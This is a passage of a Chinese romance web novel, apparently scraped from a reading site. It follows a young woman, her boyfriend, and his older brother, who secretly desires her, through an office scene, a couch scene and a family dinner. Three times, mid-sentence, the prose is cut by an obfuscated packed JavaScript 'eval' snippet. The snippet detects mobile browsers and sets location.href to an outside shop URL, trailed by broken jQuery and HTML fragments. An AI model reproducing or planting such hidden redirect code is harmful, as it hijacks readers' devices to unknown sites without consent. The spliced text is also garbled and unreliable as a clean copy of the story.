也正是这道不合时宜的声音让蔺逸远不得不再度审视蔺承则,他的目光扫过男人凌乱的衬衣,扫过茶几上多出来的那杯水,还有那双黑色一字带凉鞋。 他瞬间就懂了,挤眉弄眼地说:“哥,我有嫂子了?我还真是一语成谶了,你刚刚不开门真是因为办公室藏女人了?” 在蔺逸远看来,蔺承则谈恋爱这件事本身就非常不可思议,毕竟他这个工作狂,这么多年都没带过女朋友回家。 以前,蔺逸远还担心他哥是不是心理有问题,现在倒是放心了。 他哥有了女朋友,以后他再回家和长辈们提要和黎清昭结婚的事,长辈们就不会用“你才多大”、“你哥还没结婚呢,你着什么急”这些话来搪塞他了。 蔺承则喉头滚动,轻“嗯”一声。 蔺逸远打了个响指,抻着脖子说:“嫂子,不好意思,打扰你们了。以后有机会我们再正式认识。” 说完,就溜了出去。 等到蔺逸远离开,蔺承则又敲了敲休息室的门,“清昭,他走了。” 黎清昭拉开门,鬼鬼祟祟地从休息室出来,她的脸已经红透了,刚刚蔺逸远调侃的那些话还在耳畔中回响。 人在尴尬的时候更容易想起尴尬事,黎清昭被男朋友叫“嫂子”的时候,不由自主想起了昨晚窝在他哥哥的怀里撒娇。 其实她记得,昨晚他有生理反应了。 她是避免尴尬,才跟个傻子似的假装不知道,闭口不谈。 结果现在,她统统都想起来了。 “清昭,想什么呢?没划伤吧。”蔺承则打断她的思绪。 黎清昭摇了摇头,目光所及之处是玻璃残渣。 她不知道蔺承则会不会生她的气,她简直是惹祸大王。 “不好意思,大哥,我……” “人没事就行。”他堵住她的话,手捏着她白皙的手腕检查。 男人滚烫的体温沿着肌肤只抵她的心间,把她烫得迷迷糊糊的。反应了两秒,她才意识到这样有些不合适,连忙缩回手。 “抱歉,我只是怕你受伤。”他似乎是在为刚刚的逾矩行为解释。 黎清昭轻咬了下唇,“我没事。” 她不敢直视他,“大哥你记得你答应过我,昨晚的事我们就当作什么都没发生,你也不会和逸远说。” “大哥再见。”她捡起那双鞋就溜了。 出了办公室,蔺承则听到黎清昭接通了电话,“小妈,有事吗?” “不回去,我周末有事忙,不回去吃饭,不要再给我打了。” 蔺承远光听她说话,就能脑补小姑娘脸上没有耐心的表情,忍不住笑了。 他又想起刚刚蔺逸远隔着那道门喊的那声“嫂子”,还挺悦耳的。 - 七月份的北城热得跟个火炉似的,黎清昭从地下停车场到家门口的功夫,额头就沁出一层薄汗。 大小姐进了家门之后,立刻就断电了一般,踢掉高跟鞋,把手上的东西往玄关处一扔,往懒人沙发上一趟。 蔺逸远听到动静,放下笔记本电脑,从书房出来,坐在沙发上就把她抱在了怀里,“宝宝,想我了没?” 黎清昭热得烦躁,脾气自然不好,反手在他的胳膊上打了一巴掌,“离我远点儿,热死了。” “这么热的天,陈玖还约你逛街,是你疯了还是她疯了?都买了什么东西,让老公瞧瞧。” 陈玖是黎清昭的大嫂,黎执渊的妻子。当初两人刚谈恋爱,黎清昭正值青春期,是个妥妥的叛逆少女。那两年,黎大小姐作天作地,在圈子里的名声是出了名的臭,家里谁都管教不了。 只有陈玖懂她,愿意陪她说说心里话。黎清昭也只听陈玖的话,给这位大嫂三分薄面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126444|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>久而久之,两人就处成了闺蜜。 刚刚她和蔺逸远前后脚离开蔺氏,蔺逸远到家发现她不在,立刻就给她打电话问她在哪。黎清昭不得不撒谎,顺手把陈玖拎出来当挡箭牌。 “没买什么,这么热的天,懒得逛。”她瘪了瘪嘴,暂且把昨晚和蔺承则的事情翻篇,重新和蔺逸远算账,“还有,别没事自称老公,你别忘了,我们已经分手了。” 在一起这么久,蔺逸远当然知道她是什么意思,厚着脸皮搂着她的腰不放,在她的嘴巴上啄了一下,“宝宝,不生我的气了好不好?” 黎清昭偏过头不搭理他。 “宝宝,宝宝,宝宝。”蔺逸远圈着她的腰把她抱到了自己腿上,双手捧着她的小脸,“这些天我不是刻意不理你,我换了那么多手机号,给你发了那么多条消息,你愣是一条都不回我。” “你什么时候给我发消息了?” 蔺逸远抬手从她的包里把手机掏了出来,从短信里翻出很多条天气预报、流量套餐、防诈骗的短信给她看。 黎清昭:“你神经吧,发这么多垃圾短信给我,害得我以为谁把我的手机信号泄露了,有人要电信诈骗我呢!” 蔺逸远露出个爽朗的笑,听着她撒娇的语调,就知道她这是消气了。 她和她鼻尖蹭鼻尖,两人的呼吸交织在一起,滚烫,炙热。 “宝宝,我们以后再也不吵这么长时间的架了,好不好?晚上听不到你的声音,我都睡不着。你不知道,我有多想你。” 说着说着,他就把她压在了沙发上,手捧着她的下巴,使劲儿亲。只有这样,才能缓解他对女朋友的思念。 蔺逸远正是血气方刚的年纪,亲着亲着,他就石更了起来。他的双颊连带着耳朵都熟透了,不好意思地看着黎清昭。 她还太小,二十岁的生日才刚过,大学还没毕业。 所以他舍不得碰她。 他知道,她从小就娇气,小时候在草地上玩儿,摔个跤、腿上破层皮都哭得梨花带雨的。他还挺怕她哭的。 还记得他第一次亲她的时候,是他去年刚留学回来,两人正式确定恋爱关系。喜欢了多年的女孩儿终于正式成为自己的女朋友,他没忍住,抱着她转了几圈,把她放在地上就压着她亲。 他以前也没接过吻,没有什么技巧,完全是凭借本能对着她又啃又咬,卷着柔软的小舌头不放开。 可能是他的牙齿太锋利碰到了她,也可能是他当时太凶了吓到了她,总而言之,他把她亲哭了。 因为不成熟的吻技,黎大小姐记恨他好一阵儿。 以至于到了现在,两人的恋爱谈得如火如荼,他都不敢再深入一步。 没人知道,他都快要憋疯了。 蔺逸远居高临下地看着自己的女朋友,小公主比瓷娃娃还精致漂亮。他的双手抵在她身侧,用指腹捏了捏她的鼻尖,压着嗓子商量,“宝宝,让我摸一摸行不行?” “就摸一摸,不动真格的。” 黎清昭才不是什么懵懂无知的温室花朵,她最叛逆那几年,什么乱七八糟的小电影都看过。 她不喜欢亚洲款,觉得丑陋难看。她最喜欢欧美款,喜欢身材健壮的男人,喜欢他们一身偾张的腱子肉和沉甸甸的重量。 这个话题,她还和陈玖聊过,陈玖告诉她这也算是寻找个人性癖的一种方式,是正常的生理需求。 可以说,她的性教育相关知识都是来源于陈玖。 当然,这些话题她从来没和男朋友说过。 毕竟,她还是要维持一下在男朋友面前的青春乖巧的形象,免得吓到他。 此时此刻,黎清昭看着蔺逸远狼一样的灼热眼神,又想起了昨晚迷迷糊糊地做的那场春/梦。 她有些紧张,呼吸微滞,不由自主地想点头。 即使是再细微的动作,蔺逸远还是察觉了出来。 他的呼吸也渐渐紊乱,隔着裙子的布料,覆在了云端之上,轻飘飘的,像是棉花糖一般,让人跌入了梦境。 “乖宝宝,昭昭,我爱你呀。”他满是汗水的掌心骤然收紧,嘴巴贴在她耳边呢喃着向女朋友告白。 突然,手机铃声响了,给两人都吓了一大跳。 蔺逸远连忙收回手,用手腕擦了擦额头上的热汗,摸过手机,“我哥,估计是有急事。” 5. 谁老婆 黎清昭用手背擦了擦额头上的汗水,一言不发地看着蔺逸远打电话。 “好的哥,我明白了。” “哥,你放心吧,这个项目我指定完成得没有一丁点儿纰漏,让你看看我的本事。” “……” 黎清昭其实不喜欢蔺逸远忙公司的事,因为他一忙起来,自己总是被抛到脑后的那一方,就像此时此刻,无论他们吻得多么热烈,他都要中场叫断。 这感觉,就像是硬生生在她头上泼了一桶凉水,把她内心那些小火苗通通浇灭。 黎清昭从沙发上起来,把裙子上的褶皱抻平,蹲在地上拆蔺逸远出差给她带了礼物,一个最新款的LV包、一条淡蓝色的丝巾、一对朱迪和尼克的钥匙链。 蔺逸远的眼光不算差,买的礼物都中规中矩。黎清昭把钥匙链套在食指上转了两圈,索然无味地想,就是没有她最心爱的瓶子。 每个人都有属于自己的收集癖。 黎大小姐的收集癖和旁人不同,就爱收集各式各样的瓶子、杯子。她收集这些东西不看价格,完全看样式。 为了满足自己的收集癖,她这套大平层装修的时候特意设计了一墙面的红木架,专门用来摆弄她的这些宝贝。 结果到现在,她心爱的男朋友都记不住她最喜欢的东西。 黎清昭又有些不高兴,把仙女抱在怀里撸,边撸猫边在嘴边骂蔺逸远是个大笨蛋,哄女朋友送礼物都送不到人的心坎上,亏得他给她打电话的时候还信誓旦旦地说:“宝宝,这次我给你带了礼物,保证你会喜欢。” 还不知道自己已经踩在女朋友电话上的蔺逸远还在电话里侃侃而谈,他站在落地窗前,单手叉着腰,“哥,你就放心吧,我办事,你放心,保证不给蔺家丢脸。” “好,那也太好了,我也正这么想,那我和昭昭商量一下。行了哥,那就先挂了。” 蔺逸远把手机扔在茶几上,抬手就把黎清昭从地上抱了起来,扔在了沙发上,又俯身压了上去,鼓着嘴吧就要往上亲。 黎清昭一巴掌打在了他的嘴上,死死地捂着他的嘴,就是不让他亲。 “又怎么了?”他把她脸上的碎发塞到耳后,诱哄着说,“再给老公碰一下好不好?” 黎清昭抬腿,趁他不注意,一脚把他踹到了地上,“你去打电话吧,你就和工作谈恋爱吧。” 蔺逸远蹙了蹙眉头,身上最后一团火也被扑灭,他揉了揉眉心,“宝宝,我这些日子确实是太忙了,你体谅体谅我好不好?我也很累的。你知道,我和我哥不是一个妈生的,我不可能做到不争不抢,我这么做、这么拼地证明自己,也是在为了我们的未来考虑啊。虽然我们在谈恋爱,可我知道,你哥、你爸、你小妈都看不上我,觉得我出国学了个计算机对管理公司没有任何用,觉得我成不了大器,觉得我永远都不如我哥……” 蔺逸远和蔺承则是同父异母的弟弟,她母亲算是小三上位。当年,知道蔺逸远母亲怀孕之后,蔺承则的母亲就提出了离婚,分走了她应得的财产。 大概是因为儿子算是个私生子,自己是小三扶正的,蔺逸远的母亲从小就给他灌输不能输给哥哥、要争家产争家业的思想。 即使这么多年,兄弟俩从来没有过多么大的矛盾,可蔺逸远始终有一种危机感。 这种上不上下不下的危机感,在他进公司带项目之后才一点点抚平。 “你在胡说,我哥、我爸什么时候这么看你了?他们要是不喜欢你,就不会支持我和你在一起。”黎清昭不满意他的说法,“你不要血口喷人。” “昭昭,对不起,是我胡言乱语了。我知道,你们都不嫌弃我,可是我不能这样啊。我得努力,我得再加把劲儿,我得有资本娶你啊。” 黎清昭本来觉得他在诡辩,可听到最后一句话,突然心软了,她眨了眨眼,“别的暂且不论。你总说你要娶我,可是你又不够关心我,你总是不把我的事放在心上。你早就答应我了要送我瓶子,你压根就没放在心上。上次出差就说给我带,然后说来不及忘了,可是这次又没带。” 蔺逸远深吸了一口气,确实想起来有这么回事,“我错了,我改,宝宝,你再给我最后一次机会。” 蔺逸远揉了揉她的头发,把她按在了自己怀里,轻轻地拍打着她的后背。 男人的胸膛闷得她喘不过来气,但却让她觉得安全感十足。 黎清昭轻叹了一口气,那双杏眼水汪汪地看着她,“那你现在是不是又要去忙工作了?” 蔺逸远没说话,黎清昭就懂了。 “好宝宝,这两天项目还得扫个尾,这是我的第一个项目,我得做到无可挑剔。” “嗯。”她轻哼一声。 蔺逸远在她的额头上贴了贴,“这个周末,奶奶要办家宴,你和我一起回家好不好?” 黎清昭:“我不去。我去算什么?” “算什么?你说算什么?当然是算奶奶的准孙媳妇。”蔺逸远故意使坏去抓她腰间的软肉。 黎清昭连忙扭来扭曲地躲开。 她这人最敏感的地方就是腰了,她腰上有痒痒肉,是她的软肋,人一碰,她就软得浑身都没有力气。 “不许再碰我。”大小姐有些急眼了。 蔺逸远立刻举起双手投降,“宝宝,不闹了,说真的,刚刚大哥打电话说,奶奶也想你了。等周末,你和我一起回家好不好,一起吃顿饭。” 黎清昭没对这话产生任何怀疑,因为她从小就经常去蔺家吃饭,蔺逸远的奶奶待她像亲孙女一样。小时候,只要是蔺逸远有的,黎清昭一定会有。她和蔺逸远因为各种各样鸡毛蒜皮的小事吵架闹别扭,奶奶也总是偏心向着她,弄得蔺逸远总是怀疑奶奶到底是谁的亲奶奶。 黎清昭十岁之后,后妈楚辞进门。她和后妈的关系一向是水火不容,年少的时候更是没什么心眼,把厌恶都写在脸上。有时候她亲爹向着后妈数落她,她就离家出走,去蔺家蹭饭,静静地等她爹服软把她接回去才算完。 所以,黎清昭对去蔺家吃饭这事见怪不怪。一听是奶奶说的,更是点头应下了。 “好,那就这么说好了,到时候我来家里接你。”蔺逸远边说边把电脑线拔掉,塞进包里,“那我先走了。” 黎清昭看着他急匆匆地背影,百无聊赖地躺在了沙发上。 她这场恋爱谈的,好像是半丧偶的状态。 黎清昭点了点仙女的小鼻子,“蔺逸远可真讨厌。” 蔺逸远下电梯的时候连着打了两个喷嚏,他捏了捏鼻子,找到自己的车,发动引擎就离开了。 他根本没注意到,蔺承则的车停在了角落里。 男人坐在车上,眸色隐匿在黑暗中,指节有节奏地敲打着方向盘。 蔺承则一路跟着黎清昭回来,又亲自看着蔺逸远离开。他自嘲地笑了笑,摸出一支烟,“啪嗒”一声点燃,幽蓝色的火焰映衬在他的眸子里,烟雾很快将他的脸庞模糊掉。 蔺承则觉得自己像是阴沟里的老鼠一般,偷偷地窥探着弟弟的女朋友。 - 黎清昭这几天都过得有气无力的,外面温度太高,她压根就懒得出门。 没男朋友陪伴的日子,她只能窝在家里撸猫,随便找两个片子来看看。 说实话,黎清昭其实不能共鸣蔺逸远的忙碌和奋斗,她甚至不能理解蔺逸远拼命搞定一个项目的动力。 他上进心强,想进公司,想向家人证明他的价值。而她则是个百分之百的咸鱼,没什么事业心,整天就是想着吃喝玩乐。要说她有什么人生目标,大概就是希望黎家人不要再过度约束她了。 她希望自己更自由一些,可以像那些富二代一样玩儿赛车、蹦极、攀岩…… 不过她也能理解家里人反对她玩儿极限运动,毕竟她从小就是个弱胎,体格不好,身体素质不如别人—— 黎清昭刚出生的时候就因为早产住进了保温箱,两岁多的时候发烧生了场重病差点儿去见阎王,五岁的时候淘气,自己在浴缸里模仿美人鱼差点儿淹死。 好不容易被家里人捧在手心里长大,养育得和别的小孩一样能上山下河,结果在十岁那年,又差点儿又被蔺逸远一盒花生蛋糕给毒死。 黎清昭一边回忆着自己坎坷的成长历程,一边挑选晚上去蔺家吃饭的衣服,还得由衷感慨一句,她好端端地活到现在,确实很牛逼,看来以后还是得珍爱生命,远离极限运动,免得阎王让小鬼来索她的小命。 黎清昭打扮好,没出十分钟,电话就响了。 她像个小麻雀一样拿起手机,却发现打电话的人是蔺承则。 “大哥。” “逸远不顺路,所以委托我来接你。你收拾好了吗?我在楼下等你。” “这样呀。”黎清昭嘴角挂着的笑消失,“那我还有两三分钟就下去。” “不急,多等一会儿也没关系。”他知道,女孩子出门一般都比较慢。 挂了电话,黎清昭又对着镜子整理一下自己的仪容仪表,才下楼。 也说不清为什么,她一眼就看到了蔺承则的车。那天晚上的尴尬事还在她心里打着结,黎清昭索性直接去拉后座的门。 没拉开。 即使是到了傍晚,室外的气温依旧很高,热风吹在肌肤上,消解了黎大小姐最后一点儿耐心。她敲了敲车窗,示意对方开门。 蔺承则把车窗降下,“清昭,坐前面,我不是你的司机。” 黎清昭在心里轻笑了一声,龟毛男人,讲究还挺多。 不过用人手软,黎清昭还是挤出一个假笑,礼貌地叫了声“大哥”,然后坐在了副驾驶,系上安全带。 她一进入他的地盘,瞬间就被他车上的气味裹挟。他车上的味道不像有的男人的车那样,一股怪味,让人作呕。 他车上的味道和他身上的味道、和他休息室里的味道一样,是那种极淡又凛冽的雪松味。 倒是很舒服的味道。 只可惜,车上的氛围并不让她感到安心。 从她上车之后,车内就一片缄默。 蔺承则是沉默寡言的人,很少说一些没用的废话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126445|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黎清昭虽然平时闹闹腾腾的,是个小话痨,可在蔺承则面前,也被吓成了小哑巴。 这股尴尬又奇怪的氛围顺着她的每一根毛孔蔓延到她的胸腔,她的小心脏开始“扑通扑通”地跳个不停,怎么深呼吸压抑也没用。 要不是每年定期体检两次,各项指标均正常,黎清昭都要怀疑她是不是有心脏病。 “清昭,你不舒服?”他偏过头问,顺手递给她一瓶水。 黎清昭摇了摇头,“还好。” “我听逸远说,你和同学要起开了个工作室,要拍纪录片?” 黎清昭大学学的导演专业。他们这个专业大二之后,课程就渐渐减少,主要的时间都用于实践。 实践就得有个实践的样子,黎清昭虽然比较佛系,但该她完成的任务也绝不含糊。用陈玖的话说,这丫头就是爱躺平,但又不是真的菜,她只是从小大的生活环境比较安逸,没有经历过什么起伏,所以目标不明确。 不过黎家养女儿,也没指望她能像她大哥一样接手公司。他们只希望她能平安、健康、快乐地长大,然后做点儿自己想做的事就可以了。 当然,极限运动不行。 “嗯。”黎清昭点头应下,没有多余的话可以解释。 “还需要投资吗?”他问。 黎清昭难得偏过头看了他一眼,她倒是没想到蔺承则会主动提及这个话题。 蔺承则扶了下镜框,“你要是需要投资的话,可以来找我。你哥最近手里项目多,可能现金流不是很宽裕。” “你不怕亏钱吗?”她问。 “不怕,我相信你的实力。” 黎清昭怔了一下,“暂时先不需要投资,我有钱。”她从出生,黎家给她的钱只要她不败家,几辈子衣食无忧都没问题,“不过,你倒是第一个这么夸我的人。” “逸远平时不夸你?” 一提到蔺逸远,黎清昭就有些气他今天又说话不算数,明明说好亲自来接她的。 “他不这样夸我,他说我只要不亏到把工作室卖掉就没问题。” 蔺承则笑着说:“那是他眼光不好。依我看,你能做大做强。” 黎清昭眼睛亮晶晶地看向他,“那你也很有眼光。” 蔺承则不动声色地笑了,小姑娘明明很好哄的,三言两语就把她哄得这么开心。他不明白,为什么蔺逸远总是觉得她是大小姐脾气。 车子行驶到后半程,空中飘起了小雨。 黎清昭话多,刚跟蔺承则吐槽完天气预报一点儿都不准,雨势就突然变大。只见豆大的雨滴砸在挡风玻璃上,形成一片水幕,哗啦啦地落下。 “夏天,雨来得快,去的也快。”他说。 黎清昭点了点头,低头给蔺逸远发消息,让他路上开车小心些,雨太大了,一定一定要注意安全。 蔺逸远直接给她发了语音条过来:“宝宝,我这车技你就放心吧,一点儿问题都没有。你呢,快要到家了吗?今天我特意叮嘱阿姨给你做了你最爱吃的鲈鱼,鲈鱼可新鲜了,刚空运过来的。” 黎清昭勾了勾唇,随手发了个猫猫饭团的表情包。 这是她亲自用家里宝贝猫的照片做的表情包,一般人她可都不会发,只有男朋友才有这种待遇。 蔺承远没再说话,车上的氛围又陷入了一片死寂,只能听到雨水敲打玻璃的声音。 终于,车子开进了蔺宅的院子,可雨势还是不见小,青石板路上形成一个又一个水洼。 正在黎清昭盯着自己脚上这双银色碎钻高跟鞋发愁的时候,蔺承则撑着伞拉开了她这边的车门。 “走吧。” 在外人面前,黎清昭不好意思太矫情,一双高跟鞋而已,沾水就沾水吧。 她拿起包,拎着裙摆下车。 蔺承则似乎看出了她的纠结,“清昭,要我背……” 他话还没说完,就被鸣笛声打断了。 蔺逸远连着按了好几声喇叭,把车停下之后,就撑着伞跑了过来,“我刚就看到你们的车了,一路追过来的。” 蔺逸远不知什么时候把蔺承则挤到了一边,他蹲在黎清昭的面前,把雨伞往她手里一塞,“宝宝撑好伞,我背你回家喽。” 黎清昭顺势爬上了他的后背,蔺承则看到她的小手特意擦了擦蔺逸远额头上的水珠。 “宝宝抱紧了嘛?” 黎清昭轻轻点了点头。 蔺逸远还是有些小孩脾气,特意背着黎清昭晃来晃去,还在原地转了一个圈,然后托着她的屁股往上颠了颠,“背着媳妇儿回家喽。” 黎清昭在他的肩膀上拍了一下,嗔怪着,“你别瞎说。” 蔺逸远反而更来劲儿了,故意扯着嗓子吆喝,生怕人听不到似的,“我哪瞎说了!谁不知道你未来是我老婆!” “黎清昭未来是我老婆!” 他高声呼喊。 这话经过雨水的洗涤,一字不差地落到蔺承则的耳朵里。 蔺承则静静地跟在他们身后,握着伞的那只手青筋暴起。 6. 救我 蔺承则是三人中最后进屋的,他随手把雨伞收起来递给家里的阿姨,抬眸就看将黎清昭和蔺逸远已经坐在了沙发上。 蔺逸远手脚不老实,右手直接搭在黎清昭的肩膀上,时不时在她的肩头捏一下,搞得她有些烦躁,但又碍于这个场合,只能收敛起大小姐脾气,端端正正地坐着,装得像个淑女似的。 蔺承则吩咐阿姨给黎清昭倒一杯热茶,她身子骨不行,一点儿小病都沾不得。 刚刚在路上,他眼睁睁地看着蔺逸远这个没轻没重的家伙不好好背着她,一边走一边左右晃来晃去。 蔺逸远递给她的那把伞本来就很小,根本没办法将两个人笼盖住,她的小腿完全被雨水打湿。 可这些蔺逸远都注意不到。 黎清昭接过热茶,也没多想,只以为是家里的阿姨比较贴心,“谢谢阿姨。” 蔺逸远蹙了蹙眉,扭着头问阿姨:“怎么没有我的?我也淋雨了,得驱驱寒。”这么一回眸,他也就看见了蔺承则,补充说,“给大哥也倒一杯,大哥肯定也淋雨了。” 蔺承则没回应,边解袖口边坐在沙发上。 男人一靠近,黎清昭就被一种奇怪的、被人侵犯到领地的感觉包裹,喝茶的动作一顿。 她有些奇怪,沙发的空间这么大,为什么蔺承则偏偏要坐在她的右手边,和他们挤在一起。 虽然他们并没有肢体接触,可小情侣的领地突然闯入一个人,还是让她心里觉得别扭。 于是,黎清昭不由自主地向左手边蹭了蹭,和蔺逸远挨得更近了。 “爸和陈姨还没下来吗?”蔺承则问。 “这不是正赶上老中医上门做针灸的日子了,估计快了。”蔺逸远偏过头往楼梯的方向望了望,“要不然我上去看看。” “嗯。” 蔺逸远大概也觉得自己这对亲生父母不靠谱,他毕竟也算是正儿八经带了女朋友回来,老两口怎么这么不重视? 要知道,上次黎清昭在蔺家吃饭,还不是以蔺逸远女朋友的身份。 蔺逸远上楼后,忽略掉忙碌的佣人,楼下又只剩黎清昭和蔺承则两人。 黎清昭不知道是不是她的错觉,蔺承则和她之间的距离好像更近了一些。 “你和逸远和好了。”他像是没话找话。 黎清昭心想,我俩和没和好与你有什么干系,可面上还得挤出一个笑,“我俩就是闹着玩儿,没真吵架。” 她突然反问:“是我和逸远有什么情况,他都和你讲吗?” “偶尔吧。”他斟酌着说,“他摸不准要怎么哄你的时候,会找我来出谋划策。” 黎清昭又不高兴了。 她不喜欢这种感觉。 她不理解为什么明明是两个人的事情,蔺逸远非要讲给第三个人听呢? 她究竟是在和他蔺逸远谈恋爱? 还是在和他哥哥谈恋爱? 怪不得上次在办公室,蔺逸远能堂而皇之地对亲哥说,你也知道,清昭是个大小姐脾气,不好哄…… “他就是榆木脑袋!”她忿忿地说。 蔺承则不置可否。 哪料黎清昭突然站起身来,她想找个借口离开,这饭她也不吃了。结果话没说出口,脾气没闹出来,就被蜂拥而至的热情扑灭了。 “昭昭来啦!”陈玉梅穿着一身青色的旗袍,披着白色的披肩从楼上下来。 “陈姨。” 陈玉梅对着蔺承则笑了笑,热情地攥住黎清昭的手,“害得你等了好半天吧,都是阿姨的不是,今儿老中医有点儿事,上门晚了,害得我这么久才看到你。你蔺叔身上病多,得扎一会儿才能下来。还有,你奶奶前两天又病了一场,我见她正睡着,就没把她叫醒。” “奶奶没事吧?”黎清昭问。 “没事。人上了年纪,就有一些小病,也看过医生了,你就放心吧。”陈玉梅又抬手摸了摸黎清昭的脸颊,“是不是没好好吃饭?怎么觉得又瘦了呢?还是说,逸远欺负你了,要是这臭小子欺负你,你就跟我讲,看我不收拾他!” 黎清昭连忙摇头,“逸远没欺负我。” 陈玉梅拉着黎清昭坐在沙发上,在她手背上拍了拍,“手也冰凉的,陈姨给你捂捂。” “谢谢陈姨。” 蔺承则好整以暇地坐在一旁看着这出热情的好戏,心想,要是没有陈玉梅这个八面玲珑的好妈帮忙,蔺逸远早就拢不住黎清昭的心了。 陈玉梅说话的声音比较尖,嗓子往上扯着喊。蔺承则不喜欢听她讲话,觉得聒噪,便离开独自上二楼的书房躲清净,恰好遇到刚做完针灸的蔺岱山。 蔺岱山一边整理衣服,一边问:“逸远在公司怎么样?” 蔺承则没夹杂私人恩怨的评价,“刚开始能做到这样,已经不错了,毕竟瑕不掩瑜嘛。” 蔺岱山似乎对小儿子颇为自豪,抬手拍了拍蔺承则的肩膀,嘱托着说:“你是他亲哥,在公司多担待着他些。” 蔺承则云淡风轻地笑了笑,没说话。 蔺承则性格寡淡,和蔺岱山的父子关系也没多深厚。两人交流到这个份上,显然已经无话可说。 蔺岱山又拍了拍大儿子的肩膀,转身下楼。 蔺承则敛眸,推开书房的门,独自一人站在窗前,看着雨打芭蕉,默默地点燃一支烟。 - 蔺承则是在开饭后,阿姨上来叫他才下楼的。他一下来就看到蔺逸远像是苍蝇一样,围在黎清昭身旁转来转去。 “宝宝,尝尝我亲手给你榨的果汁。”蔺逸远在陈玉梅的要求下,特意榨了杯果汁来哄女朋友。 黎清昭非常给面子,接过男朋友的果汁就咕咚咕咚喝了将近半杯。 “好喝吗?” “嗯。” 蔺逸远抽出一张纸,俯身凑近,给黎清昭擦了擦嘴巴,“好喝以后我每天都亲手给你榨。” 黎清昭觉得没有比自己更幸福的人了,乖巧地对着男朋友点头。 这么个插曲过后,桌上的人也凑齐了。黎清昭盼了好久的奶奶也终于下来了,她和奶奶寒暄了一会儿,才正式开饭。 其实对黎清昭而言,蔺家的餐桌氛围还算不错,至少大家都热热闹闹、和和睦睦的。不像在黎家,她和后妈蒋辞不对付。 蒋辞也不是个省油的灯,在她亲爹面前演的比谁都善解人意,私底下没少翻黎清昭的白眼。不过黎大小姐也不是任人宰割的性格,明嘲暗讽,招招致命。以至于两个人坐到一起,火药味就燃了起来。 蔺家一家人难得聚齐,桌上的话题聊得也比较随意,先是蔺逸远大吹特吹自己牵头的第一个项目有多么多么成功,后又聊到了蔺承则的婚事上。 蔺承则比黎清昭大了八岁多,今年已经二十九岁,按照奶奶的话说,虚岁都三十了,也该考虑婚姻大事了。 蔺承则对这个话题见怪不怪,本想所以搪塞过去,结果被蔺逸远插了一脚。 “我哥还没和你们说吧!”他神秘兮兮地对着蔺承则使了个眼色,“这么大的事,哥,你要是不亲口说,我可就帮你说了哦。” 蔺承则没吱声,蔺逸远就当他默认了,“其实!我哥已经有女朋友了!就前几天,我去我哥办公室,我哥把她藏了起来,但是被我发现了。在我的逼问之下,我哥就承认了。” “真的吗?”奶奶笑得脸上的皱纹更深了,着急地问蔺承则。 蔺承则不动声色地看了眼黎清昭,两人的视线撞在了一起。 她心虚地轻咬着唇,水汪汪的眼睛央求似的看着他,轻摇了摇头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126446|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蔺承则喜欢她这样看自己,只有在这种时候,她眼中的他才是他,而不是蔺逸远的哥哥这个附属品。 桌上所有人都紧盯着蔺承则,等待他的回答。只有黎清昭这个当事人紧张得心都提到了嗓子眼,她害怕蔺承则承认,怕他没法找个女人来顶替她。可她又怕蔺承则否认,怕蔺逸远追究那天在办公室究竟发生了什么。 黎清昭从来没有这么烦脑过,太阳穴绞着疼,手紧紧攥着桌布,大气不敢出。 蔺承则收回视线,模棱两可地说:“我的事就不劳大家操心了,等真有那么一天,我会带着她回来见奶奶。” 这话的弦外之音大家都听明白了,大概是蔺承则应该是有了个心仪的姑娘,但可能是两人不太稳定,或者是时机不成熟,还没到领回来见家长的份上。 不过有总比没有好,奶奶还是乐呵得不行,“行,你这孩子办事一向有分寸。” 这个话题就这么揭过,蔺逸远却突然说:“那大哥要是近两年都不结婚的话,我能不能先和昭昭领证?” 黎清昭小脸腾的一下就红了,拧了下蔺逸远的大腿,“你瞎说什么?” 蔺逸远扣住黎清昭的手,“爸妈,奶奶,我是认真的。我是真的很喜欢昭昭,很想娶她。” 黎清昭:“你先别说这事。” 她虽然确信她一定会嫁给蔺逸远,但她不喜欢他在饭桌上贸然谈论这件事。就算是要谈,也是在她不在的时候,他和他的父母谈,而不是把她架在这儿,夹在中间,让双方尴尬。 黎清昭能理解他的真心,可却不喜欢他这种做法。 蔺承则的眉头也蹙了起来,他看到黎清昭的小脸皱在一起。 餐桌上一片尴尬,陈玉梅露出个笑刚要开口,就被蔺承则呵斥住了,“逸远,现在不方便谈这个话题。第一,结婚这件事你没有正式询问清昭的意愿,没有征得清昭的同意。第二,就算是真要结婚,提亲也好,双方父母商量也罢,都没这样式的。” 黎清昭从来没有觉得蔺承则这么善解人意过,向他投去一个感激的眼神。 